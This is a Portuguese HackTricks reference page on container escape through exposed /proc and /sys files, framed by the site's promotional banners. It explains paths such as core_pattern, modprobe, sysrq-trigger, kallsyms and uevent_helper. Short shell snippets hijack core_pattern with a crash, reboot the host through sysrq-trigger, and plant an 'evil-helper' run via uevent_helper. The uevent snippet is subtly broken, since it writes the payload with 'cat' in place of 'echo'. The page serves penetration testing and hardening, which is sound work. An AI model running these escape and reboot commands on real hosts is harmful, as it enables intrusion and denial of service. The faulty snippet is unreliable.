14 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
(Esta informação foi retirada de https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
Devido à falta de suporte a namespace, a exposição de /proc
e /sys
oferece uma superfície de ataque significativa e divulgação de informações. Numerosos arquivos dentro do procfs
e sysfs
apresentam risco de escape de contêiner, modificação do host ou simples divulgação de informações que poderiam facilitar outros ataques.
Para abusar dessas técnicas, pode ser suficiente apenas configurar incorretamente algo como -v /proc:/host/proc
, pois o AppArmor não protege /host/proc
, porque o AppArmor é baseado em caminho
procfs
/proc/sys
/proc/sys
normalmente permite acesso para modificar variáveis do kernel, frequentemente controladas por sysctl(2)
.
/proc/sys/kernel/core_pattern
/proc/sys/kernel/core_pattern define um programa que é executado na geração de arquivo core (tipicamente uma falha de programa) e é passado o arquivo core como entrada padrão se o primeiro caractere deste arquivo for um símbolo de pipe |
. Este programa é executado pelo usuário root e permitirá até 128 bytes de argumentos de linha de comando. Isso permitiria a execução trivial de código dentro do host do contêiner, dado qualquer falha e geração de arquivo core (que pode ser simplesmente descartado durante uma miríade de ações maliciosas).
[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern
sleep 5 && ./crash &
/proc/sys/kernel/modprobe
/proc/sys/kernel/modprobe contém o caminho para o carregador de módulos do kernel, que é chamado ao carregar um módulo do kernel, como por meio do comando modprobe. A execução de código pode ser obtida realizando qualquer ação que acione o kernel a tentar carregar um módulo do kernel (como usar a crypto-API para carregar um módulo criptográfico atualmente não carregado, ou usar ifconfig para carregar um módulo de rede para um dispositivo que não está sendo usado no momento).
# Check if you can directly access modprobe
ls -l `cat /proc/sys/kernel/modprobe`
/proc/sys/vm/panic_on_oom
/proc/sys/vm/panic_on_oom é uma flag global que determina se o kernel entrará em pânico quando uma condição de Memória Insuficiente (OOM) for atingida (em vez de invocar o OOM killer). Isso é mais um ataque de Negação de Serviço (DoS) do que uma fuga de contêiner, mas expõe uma capacidade que deveria estar disponível apenas para o host.
/proc/sys/fs
O diretório /proc/sys/fs contém uma variedade de opções e informações sobre vários aspectos do sistema de arquivos, incluindo quota, manipulação de arquivos, inode e informações de dentry. O acesso de escrita a este diretório permitiria vários ataques de negação de serviço contra o host.
/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc permite a execução de formatos binários diversos, o que normalmente significa que vários interpretadores podem ser registrados para formatos binários não-nativos (como Java) com base em seu número mágico. Você pode fazer o kernel executar um binário registrando-o como manipuladores.
Você pode encontrar um exploit em https://github.com/toffan/binfmt_misc: Rootkit do pobre, aproveitando a opção credentials do binfmt_misc para escalar privilégios através de qualquer binário suid (e obter um shell root) se /proc/sys/fs/binfmt_misc/register
for gravável.
Para uma explicação mais aprofundada desta técnica, confira https://www.youtube.com/watch?v=WBC7hhgMvQQ
/proc/config.gz
/proc/config.gz dependendo das configurações CONFIG_IKCONFIG_PROC
, isso expõe uma versão comprimida das opções de configuração do kernel para o kernel em execução. Isso pode permitir que um contêiner comprometido ou malicioso descubra e direcione facilmente áreas vulneráveis ativadas no kernel.
/proc/sysrq-trigger
Sysrq
é um mecanismo antigo que pode ser invocado através de uma combinação especial de teclas SysRq
. Isso pode permitir um reboot imediato do sistema, emissão de sync(2)
, remontagem de todos os sistemas de arquivos como somente leitura, invocação de depuradores do kernel e outras operações.
Se o convidado não estiver devidamente isolado, ele pode acionar os comandos sysrq escrevendo caracteres no arquivo /proc/sysrq-trigger
.
# Reboot the host
echo b > /proc/sysrq-trigger
/proc/kmsg
/proc/kmsg pode expor mensagens do buffer de anel do kernel normalmente acessadas via dmesg
. A exposição dessas informações pode auxiliar em exploits do kernel, desencadear vazamentos de endereços do kernel (que poderiam ser usados para ajudar a derrotar a Randomização do Layout do Espaço de Endereçamento do Kernel (KASLR)), e ser uma fonte de divulgação geral de informações sobre o kernel, hardware, pacotes bloqueados e outros detalhes do sistema.
/proc/kallsyms
/proc/kallsyms contém uma lista de símbolos exportados pelo kernel e seus endereços para módulos dinâmicos e carregáveis. Isso também inclui a localização da imagem do kernel na memória física, o que é útil para o desenvolvimento de exploits do kernel. A partir desses locais, o endereço base ou deslocamento do kernel pode ser localizado, o que pode ser usado para superar a Randomização do Layout do Espaço de Endereçamento do Kernel (KASLR).
Para sistemas com kptr_restrict
definido como 1
ou 2
, este arquivo existirá, mas não fornecerá nenhuma informação de endereço (embora a ordem na qual os símbolos estão listados seja idêntica à ordem na memória).
/proc/[pid]/mem
/proc/[pid]/mem expõe interfaces para o dispositivo de memória do kernel /dev/mem
. Embora o Namespace PID possa proteger contra alguns ataques através deste vetor procfs
, essa área tem sido historicamente vulnerável, depois considerada segura e novamente encontrada como vulnerável para escalonamento de privilégios.
/proc/kcore
/proc/kcore representa a memória física do sistema e está em um formato de core ELF (tipicamente encontrado em arquivos de dump de core). Não permite a escrita nessa memória. A capacidade de ler este arquivo (restrito a usuários privilegiados) pode vazar conteúdos de memória do sistema hospedeiro e outros containers.
O grande tamanho de arquivo relatado representa a quantidade máxima de memória fisicamente endereçável para a arquitetura e pode causar problemas ao lê-lo (ou travamentos, dependendo da fragilidade do software).
/proc/kmem
/proc/kmem
é uma interface alternativa para /dev/kmem (cujo acesso direto é bloqueado pela lista de permissões de dispositivos do cgroup), que é um arquivo de dispositivo de caractere representando a memória virtual do kernel. Permite tanto a leitura quanto a escrita, permitindo a modificação direta da memória do kernel.
/proc/mem
/proc/mem
é uma interface alternativa para /dev/mem (cujo acesso direto é bloqueado pela lista de permissões de dispositivos do cgroup), que é um arquivo de dispositivo de caractere representando a memória física do sistema. Permite tanto a leitura quanto a escrita, permitindo a modificação de toda a memória. (Requer um pouco mais de habilidade do que kmem
, pois os endereços virtuais precisam ser resolvidos para endereços físicos primeiro).
/proc/sched_debug
/proc/sched_debug
é um arquivo especial que retorna informações de agendamento de processos para todo o sistema. Essas informações incluem nomes de processos e IDs de processos de todos os namespaces, além de identificadores de cgroup de processos. Isso efetivamente contorna as proteções do Namespace PID e é legível por outros/mundo, portanto, pode ser explorado em containers não privilegiados também.
/proc/[pid]/mountinfo
/proc/[pid]/mountinfo contém informações sobre pontos de montagem no namespace de montagem do processo. Expõe a localização do rootfs
do container ou imagem.
sysfs
/sys/kernel/uevent_helper
uevents
são eventos acionados pelo kernel quando um dispositivo é adicionado ou removido. Notavelmente, o caminho para o uevent_helper
pode ser modificado escrevendo em /sys/kernel/uevent_helper
. Então, quando um uevent
é acionado (o que também pode ser feito do userland escrevendo em arquivos como /sys/class/mem/null/uevent
), o uevent_helper
malicioso é executado.
# Creates a payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets uevent_helper to /path/payload
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# Triggers a uevent
echo change > /sys/class/mem/null/uevent
# or else
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# Reads the output
cat /output
/sys/class/thermal
Acesso ao ACPI e várias configurações de hardware para controle de temperatura, normalmente encontradas em laptops ou placas-mãe para jogos. Isso pode permitir ataques de DoS contra o host do container, que podem até levar a danos físicos.
/sys/kernel/vmcoreinfo
Este arquivo pode vazar endereços do kernel que poderiam ser usados para derrotar o KASLR.
/sys/kernel/security
Em /sys/kernel/security
montado a interface securityfs
, que permite a configuração de Módulos de Segurança Linux. Isso permite a configuração de políticas AppArmor, e assim o acesso a isso pode permitir que um container desative seu sistema MAC.
/sys/firmware/efi/vars
/sys/firmware/efi/vars
expõe interfaces para interagir com variáveis EFI na NVRAM. Embora isso normalmente não seja relevante para a maioria dos servidores, o EFI está se tornando cada vez mais popular. Fraquezas de permissão até levaram a alguns laptops brickados.
/sys/firmware/efi/efivars
/sys/firmware/efi/efivars
fornece uma interface para escrever na NVRAM usada para argumentos de boot UEFI. Modificá-los pode tornar a máquina host ininicializável.
/sys/kernel/debug
debugfs
fornece uma interface "sem regras" pela qual o kernel (ou módulos do kernel) pode criar interfaces de depuração acessíveis ao espaço do usuário. Ele teve vários problemas de segurança no passado, e as diretrizes "sem regras" por trás do sistema de arquivos muitas vezes entraram em conflito com as restrições de segurança.
Referências
- Entendendo e Fortalecendo Containers Linux
- Abusando de Containers Linux Privilegiados e Não Privilegiados
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.